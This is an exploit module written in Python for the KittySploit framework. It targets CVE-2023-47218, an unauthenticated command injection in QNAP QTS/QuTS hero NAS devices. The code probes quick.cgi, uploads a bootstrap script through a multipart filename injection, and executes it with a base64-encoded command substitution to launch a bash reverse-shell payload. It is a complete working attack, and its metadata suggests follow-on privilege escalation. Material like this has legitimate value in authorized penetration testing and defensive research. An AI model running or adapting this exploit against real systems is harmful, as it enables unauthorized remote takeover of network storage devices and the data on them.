QNAP QTS/QuTS - Unauth RCE via quick.cgi (CVE-2023-47218)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""QNAP QTS/QuTS hero unauthenticated RCE via quick.cgi (CVE-2023-47218)."""

import base64
import secrets
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'QNAP QTS/QuTS - Unauth RCE via quick.cgi (CVE-2023-47218)',
        'description': (
            'Exploits unauthenticated command injection in uninitialized QNAP NAS '
            'quick.cgi (CVE-2023-47218). Uploads a bootstrap script under /mnt/update '
            'via multipart filename injection (User-Agent Mozilla Macintosh), executes '
            'a reverse CMD payload, and waits for a shell session.'
        ),
        'author': ['sfewer-r7', 'KittySploit Team'],
        'cve': ['CVE-2023-47218'],
        'platform': Platform.LINUX,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://www.qnap.com/en/security-advisory/qsa-23-57',
            'https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed',
            'https://nvd.nist.gov/vuln/detail/CVE-2023-47218',
        ],
        'tags': ['qnap', 'qts', 'nas', 'rce', 'cmdi', 'unauth', 'cve-2023-47218'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'scanner/http/cve_2023_47218_detect',
                    'post/shell/multi/gather/privesc_suggester',
                ],
            },
        },
    }

    writable_dir = OptString(
        '/mnt/update',
        'Writable directory for bootstrap script on target',
        required=False,
    )

    def _upload(self, file_name: str, file_data: str):
        if len(file_name) > 127:
            raise ValueError(f'Upload file name too long ({len(file_name)}), must be < 128')
        bound = secrets.token_hex(4)
        f1 = secrets.token_hex(4)
        f2 = secrets.token_hex(4)
        body = (
            f'--{bound}\r\n'
            f'Content-Disposition: form-data; {f1}="field2"; {f2}="{file_name}"\r\n'
            f'Content-Type: text/plain\r\n\r\n'
            f'{file_data}\r\n'
            f'--{bound}--\r\n'
        )
        return self.http_request(
            method='POST',
            path='/cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image',
            data=body,
            headers={
                'User-Agent': 'Mozilla Macintosh',
                'Content-Type': f'multipart/form-data;boundary="{bound}"',
            },
            allow_redirects=False,
        )

    def _execute_command(self, cmd: str):
        # MSF pattern: filename is URI-encoded so %22 becomes a quote after UA decode.
        inj = f'"$($(echo -n {base64.b64encode(cmd.encode()).decode()}|base64 -d))"'
        encoded = quote(inj, safe='')
        return self._upload(encoded, secrets.token_hex(4))

    def check(self):
        token = secrets.token_hex(4)
        r = self.http_request(
            method='GET',
            path=f'/cgi-bin/quick/quick.cgi?func={token}',
            allow_redirects=False,
        )
        if not r:
            return {
                'vulnerable': False,
                'reason': 'No response from quick.cgi',
                'confidence': 'low',
            }
        if r.status_code == 404:
            return {
                'vulnerable': False,
                'reason': 'quick.cgi not present (likely initialized)',
                'confidence': 'high',
            }
        body = r.text or ''
        if r.status_code == 200 and (
            'failure' in body or '<firmware_info>' in body
        ):
            return {
                'vulnerable': True,
                'reason': 'Uninitialized quick.cgi responds (CVE-2023-47218 surface)',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': f'Unexpected HTTP {r.status_code}',
            'confidence': 'medium',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('A reverse CMD payload is required to open a session')
            return False

        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason') or 'Target not vulnerable')
            self.not_vulnerable()
            return False

        bootstrap = secrets.token_hex(4)
        wdir = str(self.writable_dir or '/mnt/update').rstrip('/')
        script = f'#!/bin/bash\n{payload_cmd}\n'
        print_status(f'Uploading bootstrap script to {wdir}/{bootstrap}...')
        if not self._upload(bootstrap, script):
            print_error('Bootstrap upload failed')
            self.not_vulnerable()
            return False

        exec_cmd = f'bash {wdir}/{bootstrap}'
        print_status(f'Executing bootstrap via filename injection (await shell session)...')
        try:
            self._execute_command(exec_cmd)
        except ValueError as exc:
            print_error(str(exc))
            return False

        print_success('Payload delivered; waiting for reverse shell session')
        return True